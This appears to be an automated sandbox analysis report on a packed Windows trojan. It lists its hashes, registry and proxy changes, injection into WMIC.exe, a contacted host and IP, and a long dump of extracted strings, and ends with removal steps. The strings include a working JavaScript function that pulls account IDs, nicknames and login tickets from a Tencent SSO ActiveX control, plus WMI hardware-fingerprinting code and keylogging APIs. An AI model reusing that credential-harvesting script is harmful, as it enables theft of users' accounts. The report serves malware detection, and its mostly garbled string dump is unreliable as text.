MD5: ed15b13815be1d8425911e3af1f2be40
SHA1: d4f32a010f873b5cb5ef78415031f75519be4693
SHA256: 5a5cb27f8194308c11cf0359d4ceba715eba0d74a59c73c591cf80fd1ee9f198
SSDeep: 98304:Nu7X0s bH3UGoQTT3/2OobhCF 8Uy7AKk2tshR2pkg:uX0s bX9oQ3fob4w8UylAH
Size: 4898816 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: MicrosoftVisualC, MicrosoftVisualCv50v60MFC, MicrosoftVisualC50, ACProtect141, Armadillov171, UPolyXv05_v6
Company:
Created at: 2018-01-19 13:55:30
Analyzed on: Windows7 SP1 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

Process activity

The Trojan creates the following process(es):
No processes have been created.
The Trojan injects its code into the following process(es):

WMIC.exe:2940

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

No files have been created.

Registry activity

The process WMIC.exe:2940 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\WMIC_RASAPI32]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\WMIC_RASMANCS]
"FileDirectory" = "%windir%\tracing"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\WMIC_RASMANCS]
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\WMIC_RASAPI32]
"MaxFileSize" = "1048576"
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\WMIC_RASMANCS]
"FileTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 3D 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Tracing\WMIC_RASMANCS]
"EnableFileTracing" = "0"
"MaxFileSize" = "1048576"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\WMIC_RASAPI32]
"ConsoleTracingMask" = "4294901760"
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\WMIC_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\WMIC_RASAPI32]
"EnableConsoleTracing" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"AutoConfigURL"

Dropped PE files

There are no dropped PE files.

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
r6248t.cn	120.79.74.86

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

The Trojan connects to the servers at the folowing location(s):

.text

`.rdata

@.data

.rsrc

@.sedata

.idata

'%d}L

A"Ig?%cz~

~?'%C

.YG27

.Bn_b

[At%X

.gvn|

.Fkd&

r\.Lqk

%CLbH

2>'%s

Z3'%u

.oZyL

3.psj

t$(SSh

~%UVW

t.It It

u$SShe

iu2.iu

1wK(.wE

Kernel32.dll

advapi32.dll

kernel32.dll

ole32.dll

atl.dll

wininet.dll

ws2_32.dll

IPHLPAPI.DLL

Wininet.dll

netapi32.dll

gdiplus.dll

fmifs.dll

ntdll.dll

user32.dll

KERNEL32.DLL

GdiPlus.dll

Ole32.dll

Oleacc.dll

gdi32.dll

User32.dll

Gdi32.dll

dwmapi.dll

Gdiplus.dll

RegOpenKeyA

RegEnumKeyExA

RegCloseKey

MsgWaitForMultipleObjects

HttpOpenRequestA

HttpSendRequestA

HttpQueryInfoA

RegEnumKeyA

CreateWindowStationA

CloseWindowStation

GetAsyncKeyState

InternetOpenUrlA

HttpAddRequestHeadersA

GdipGetStringFormatHotkeyPrefix

GdipSetStringFormatHotkeyPrefix

{A068799B-7551-46b9-8CA8-EEF8357AFEA4}

42305932-06E6-47a5-AC79-8BDCDC58DF61

@TslGame.exe

7[^/.Mw

.YkH,

k%UP)

fQ.hMR

%c cI

;.vRT

hF7%U

}.KIrv

.lbG1

.CjFt

j.Nf7

OWEb

t.Cj 

)o~

document.body.innerHTML=GetuinKey();

function GetuinKey(){var text="";var q_hummerQtrl=null;var g_vOptData=null;if(window.ActiveXObject){try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");var A=q_hummerQtrl.CreateTXSSOData();q_hummerQtrl.InitSSOFPTCtrl(0,A);g_vOptData=q_hummerQtrl.CreateTXSSOData();var a=q_hummerQtrl.DoOperation(1,g_vOptData);var V=a.GetArray("PTALIST");var f=V.GetSize();var H=$("list_uin");for(var g=0;g<f;g  ){var E=V.GetData(g);var P=E.GetDWord("dwSSO_Account_dwAccountUin");var U=E.GetStr("strSSO_Account_strNickName");var G=E.GetBuf("bufST_PTLOGIN");var A=G.GetSize();var N="";for(var Y=0;Y<A;Y  ){var B=G.GetAt(Y).toString("16");if(B.length==1){B="0" B};N =B};text =P '|' U '|' N ';'}}catch(b){}};return text};

!ap3Wj.oY0q>#7

>AC:\1.jpg

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

http=

HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

Content-Type: application/x-www-form-urlencoded

hXXp://

M.rti

$%DVD

ts(.RnL0

K.uAT

,h"Ùq|

W".lB

.Vk!MQ

%c\pq

<Q;%X

.QLKV

q&[.rH

%Ul\M

"g.Fu

K(Ù

QH.lB

L.Dgd*_9_

\D.lj

x/j%d@62c

\%X<8lL

z51%u

2{.Ng

(`%FM

,.bI!_

o%Suu

`&.DH

q.IC@

*xE%c<

AT.Jyg

f.Kp'

CisSH

-.VoS

yy.exe

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 /E.WinInet 1.0

D@.rsrc

h.rdata

H.data

.pdata

H.gfids

`.ccvxx0

.ccvxx1

.reloc

hal.dll

ntoskrnl.exe

{!.ddi"

*F%cg

j.LhL

WDFLDR.SYS

*hXXp://cs-g2-crl.thawte.com/ThawteCSG2.crl0

hXXp://ocsp.thawte.com0

Certification Services Division1806

#hXXp://crl.thawte.com/ThawtePCA.crl0

DhXXp://crl.microsoft.com/pki/crl/products/MicrosoftCodeVerifRoot.crl0

Set WMI =GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_BaseBoard ")

GetTrait = Obj.SerialNumber

Set WMI =GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_BIOS")

Set WMI =GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_PhysicalMedia")

Set WMI =GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_Processor")

GetTrait = Obj.ProcessorId

Set WMI =GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_SoundDevice")

GetTrait = Obj.Caption

Set WMI =GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_VideoController")

Set WMI =GetObject("winmgmts:{impersonationLevel=impersonate}").InstancesOf("Win32_NetworkAdapterConfiguration")

If Obj.IPEnabled=True Then

GetTrait = Obj.MacAddress

password must be filled in

The password error you entered

Key does not exist

Key error

The key has already been used.

Registration failed, and the key has been used.

Account must be more than 6 digits and the Password is more than 2 bits

?rekey_

%u1=.

.qq1b

yIDF %U

?.eW%

n%U.U

[fS%F

%X:i(

.ni W

:r9%xN3Nio

.Be#f

%Sq*1b

.Saeo

JPg%X

2_t:.kK6

bEe%uI

f1%dX

.cR~W\

0jI%D

@v.tg

%f>E$g4

BM.Tn

ÜmY

.xcXt

.lSi|

8q.ql`

0KL%F

@fuRl

j9.mWX`

.oe"d

.WFC*p

4%FGH7sg[>

.Hm[A

uz.Wl

"I%uZ

q.aIv

.hpni

.dGIv{

-G}~M

2\.fu0

DN.bb

Cl,Y.KQ

s.xd4

>c.di#i

,I.jRl

o%XE$`

.lO3D

r.Nyst

%Ux'pj

AG'="@.hT

g%Fia

.qwu`

8w}R

8.YB{

S.Ku'&

.oW#A

.Xe_u"

65*%c[

uS]Cmd1

pTPl.Qs

C?7

Zs%X\

z/w.GS

LP.jEr@b

@.hXr

eWi%D

=SShc

?;weB

4l0%D

?1%s"

10/05/12

\.YVV

Ï[H

L <

E%T\$%U

\\.\Nul

InternetExplorer.Application

R_.aX

.MMuV=

,G|.GU

%XQXE&x

L%X[_

#};%F

&.zLQ

Ex_DirectUI_MsgBox

?Kernel32.dll

Enter your Password

Enter your Key

Password

?456789:;<=

!"#$%&'()* ,-./0123

%*.*f

CNotSupportedException

commctrl_DragListMsg

Afx:%x:%x:%x:%x:%x

Afx:%x:%x

COMCTL32.DLL

CCmdTarget

__MSVCRT_HEAP_SELECT

SHLWAPI.dll

MPR.dll

VERSION.dll

oledlg.dll

WSOCK32.dll

.PAVCException@@

.PAVCNotSupportedException@@

.PAVCFileException@@

(*.prn)|*.prn|

(*.*)|*.*||

Shell32.dll

Mpr.dll

Advapi32.dll

(&07-034/)7 '

?? / %d]

%d / %d]

: %d]

(*.WAV;*.MID)|*.WAV;*.MID|WAV

(*.WAV)|*.WAV|MIDI

(*.MID)|*.MID|

(*.txt)|*.txt|

(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG

(*.JPG)|*.JPG|BMP

(*.BMP)|*.BMP|GIF

(*.GIF)|*.GIF|

(*.ICO)|*.ICO|

(*.CUR)|*.CUR|

%s:%d

icmp.dll

windows

out.prn

%d.%d

%d / %d

%d/%d

Bogus message code %d

(%d-%d):

%ld%c

X-X-X-X-X-X

x86 Family %s Model %s Stepping %s

X-X-X-X

\\.\Smartvsd

\\.\PhysicalDrive%d

\\.\Scsi%d:

ReleaseNamedPipe

DisConnectNamedPipe

WriteNamedPipe

ReadNamedPipe

ConnectNamedPipe

ListenNamedPipe

CreateNamedPipe

\\.\pipe\

%d%d%d

rundll32.exe shell32.dll,

1.1.3

;3 #>6.&

'2, / 0&7!4-)1#

(*.htm;*.html)|*.htm;*.html

HTTP/1.0

%s <%s>

Reply-To: %s

From: %s

To: %s

Subject: %s

Date: %s

Cc: %s

%a, %d %b %Y %H:%M:%S

SMTP

.PAVCObject@@

.PAVCSimpleException@@

.PAVCMemoryException@@

.?AVCNotSupportedException@@

.PAVCResourceException@@

.PAVCUserException@@

.?AVCCmdTarget@@

.?AVCCmdUI@@

.?AVCTestCmdUI@@

.PAVCArchiveException@@

zcÁ

right-curly-bracket

left-curly-bracket

0123456789

48t.cn

uers/powinv.php

nv.php

C:\Windows\System32\Wbem\WMIC.exe

4'f&%x

^.XVl

%S0rR

MK?'%xsj

/P,)%C

a%1S5

P{Q%6x

V*.Re,9

udPDE

C.wni

XJn%S

?'%d[

~.SBl.

;7.xx

{D.GC

>'%Dpsj

Bo{'%S

?'-

|[%CZ

`_.jWC

aP^'.Em^%@

.LQ?g8

.GJLY

L[?'%f

_G.Sx

%x`Ta

%Dq6[

V?'%uI

{`%8u

Z?'%S

s.UxS

>'%X<

TID%xn

.Lgsz

#?'%D

%Cm -[

xqh.PU

5$3.GbD

Ò0I

)O.Lo

OQ*c%X_ht~N

\P.JI

_X%s`DJ

-A].hd

#@'%x

X8.pmB

%CT/}H

B%.LS

}F.Ca

h?'%u

qps%F

#fN%X`kjJ

qpsj.hG

.CajE

ŸZC

Rg.xtO

] w%DK

Z?'%s

.aP#nB

l?'%CP

@.GOr

v.Jz]

[ w.uq

DK='%f

.Qd\k

e%Xe>

mSgw

QwÝ

2%d,a

"F%.x

%xxts

].hvc

/t.vH$

.WO!q

\ 1%d

>'%Xm|OR

.pZ4u

?'%C<

&.OCG

;'<

>'%SA

#.hcZ

[.PRB/6!`uT

%XzY-

.kWoova

%3Xjq#r

<%CI&

Z=H%d

Bq.TGyH}

].uQDQ

sNTq"%S"

.EiIM0u

.ubW@o;

X8.tRm

j.Crh

w.QD*

 M%cN

Xs>'%f B

TJ.Yy

/m .iQ

4z.UR

@.KEH2H

2-<.ZV

>'%d/6!`

_H.dQ

j.CRX

B.PS;

j_X%S

.Vt{%q

%Cgye

D>'%u

jT/k%F

V.Gen

a.ova

z_)%S

rF.fk

%%C\8

"%C(T

?'%u8

>.yQ{

.JAY/

.Pri B

%CKcK

~.yBl

&%S(K

0.yOZ

3g.cF

(&?'%S

2.IiSO

?z.UR8s

.oyyX

Eûk

%f%Gq

<Op!K.Ik

.Ker;%

J/.oM

.aDDId

wBg%S

dg.rm|O

? 2.1{>|

[}.Su

.ORY[mH

b8%s`

{?'%D

q2)%f

.oO@N

.LD-,^

Eo>'%D

MIn|%Fu4@

Ca%cm^c

O.PR6

2K.Dg

Qo3%x

?'%c.9

 MR2.kG-

pQ8O.DF{

.rm|O

6.GQR

y..OD

}.DSL

~.[{>'%d

.TV2Y

>'%Cg

.avFm

iphlpapi.dll

WINMM.dll

WS2_32.dll

RASAPI32.dll

KERNEL32.dll

USER32.dll

GDI32.dll

WINSPOOL.DRV

ADVAPI32.dll

SHELL32.dll

OLEAUT32.dll

COMCTL32.dll

WININET.dll

comdlg32.dll

WaitNamedPipeA

PeekNamedPipe

DisconnectNamedPipe

GetCPInfo

GetWindowsDirectoryA

WinExec

GetProcessHeap

UnregisterHotKey

RegisterHotKey

keybd_event

VkKeyScanExA

GetKeyboardLayout

SetWindowsHookExA

GetKeyState

CreateDialogIndirectParamA

UnhookWindowsHookEx

GetViewportExtEx

SetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

ScaleViewportExtEx

GetViewportOrgEx

RegOpenKeyExA

RegCreateKeyExA

ShellExecuteA

InternetCanonicalizeUrlA

InternetCrackUrlA

WMIC.exe_2940_rwx_00400000_00001000:

.text

`.rdata

@.data

.rsrc

@.sedata

.idata

WMIC.exe_2940_rwx_00704000_00231000:

4'f&%x

^.XVl

%S0rR

MK?'%xsj

/P,)%C

a%1S5

P{Q%6x

V*.Re,9

udPDE

C.wni

XJn%S

?'%d[

~.SBl.

;7.xx

{D.GC

>'%Dpsj

Bo{'%S

?'-

|[%CZ

`_.jWC

aP^'.Em^%@

.LQ?g8

.GJLY

L[?'%f

_G.Sx

%x`Ta

%Dq6[

V?'%uI

{`%8u

Z?'%S

s.UxS

>'%X<

TID%xn

.Lgsz

#?'%D

%Cm -[

xqh.PU

5$3.GbD

Ò0I

)O.Lo

OQ*c%X_ht~N

\P.JI

_X%s`DJ

-A].hd

#@'%x

X8.pmB

%CT/}H

B%.LS

}F.Ca

h?'%u

qps%F

#fN%X`kjJ

qpsj.hG

.CajE

ŸZC

Rg.xtO

] w%DK

Z?'%s

.aP#nB

l?'%CP

@.GOr

v.Jz]

[ w.uq

DK='%f

.Qd\k

e%Xe>

mSgw

QwÝ

2%d,a

"F%.x

%xxts

].hvc

/t.vH$

.WO!q

\ 1%d

>'%Xm|OR

.pZ4u

?'%C<

&.OCG

;'<

>'%SA

#.hcZ

[.PRB/6!`uT

%XzY-

.kWoova

%3Xjq#r

<%CI&

Z=H%d

Bq.TGyH}

].uQDQ

sNTq"%S"

.EiIM0u

.ubW@o;

X8.tRm

j.Crh

w.QD*

 M%cN

Xs>'%f B

TJ.Yy

/m .iQ

4z.UR

@.KEH2H

2-<.ZV

>'%d/6!`

_H.dQ

j.CRX

B.PS;

j_X%S

.Vt{%q

%Cgye

D>'%u

jT/k%F

V.Gen

a.ova

z_)%S

rF.fk

%%C\8

"%C(T

?'%u8

>.yQ{

.JAY/

.Pri B

%CKcK

~.yBl

&%S(K

0.yOZ

3g.cF

(&?'%S

2.IiSO

?z.UR8s

.oyyX

Eûk

%f%Gq

<Op!K.Ik

.Ker;%

J/.oM

.aDDId

wBg%S

dg.rm|O

? 2.1{>|

[}.Su

.ORY[mH

b8%s`

{?'%D

q2)%f

.oO@N

.LD-,^

Eo>'%D

MIn|%Fu4@

Ca%cm^c

O.PR6

2K.Dg

Qo3%x

?'%c.9

 MR2.kG-

pQ8O.DF{

.rm|O

6.GQR

y..OD

}.DSL

~.[{>'%d

.TV2Y

>'%Cg

.avFm

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
2. Delete the original Trojan file.
   
3. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
4. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.